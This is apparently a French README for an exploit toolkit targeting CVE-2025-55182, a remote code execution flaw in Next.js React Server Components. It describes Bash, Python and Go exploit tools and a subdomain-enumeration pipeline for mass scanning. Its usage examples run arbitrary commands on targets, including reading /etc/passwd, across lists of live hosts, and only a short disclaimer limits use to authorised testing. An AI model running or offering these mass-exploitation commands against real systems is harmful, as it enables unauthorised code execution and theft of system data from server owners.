CVE-2025-55182 : Scanner RCE pour React Server Components

Une boîte à outils complète pour détecter et exploiter CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance (RCE) dans les applications Next.js utilisant React Server Components.

Ce dépôt propose un scanner Bash unifié (mode cible unique et mode masse), des implémentations Python/Go, ainsi qu'un workflow de reconnaissance pour le bug bounty.

📂 Structure du dépôt

• scanner.sh — Script Bash tout-en-un pour le scan de cible unique et le scan de masse
• python/exploit.py — Implémentation Python stable (meilleur échappement JSON)
• go/main.go — Implémentation haute performance (compilable)

🚀 Workflow de reconnaissance (méthodologie Bug Bounty)

Pour la chasse de masse sur les domaines wildcard, utilisez ce pipeline pour filtrer les cibles avant le scan :

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Utilisation du scanner Bash (recommandé)

Le script scanner.sh prend en charge les scans de cible unique et les scans de masse à partir d'une liste de fichiers.

🔧 Installation

chmod +x scanner.sh

1️⃣ Mode cible unique

Idéal pour vérifier une cible spécifique avec une sortie détaillée.

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ Mode scan de masse

Scanne efficacement une liste d'URL et enregistre les hôtes vulnérables dans un fichier.

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

Options

🐍 Version Python

Utilisez cette version si vous rencontrez des problèmes avec l'échappement des caractères spéciaux dans Bash.

Prérequis

pip install requests

Utilisation

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Version Go

Haute performance, dépendances minimales.

Exécution directe

go run go/main.go -u http://target.com -c "id"

Compilation du binaire

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Toute utilisation non autorisée est strictement illégale. Le développeur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce programme.

🔗 Références

• Détail CVE NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• Avis de sécurité React (vulnérabilité React Server Components) : https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• Modèle Nuclei ProjectDiscovery : https://cloud.projectdiscovery.io/library/CVE-2025-55182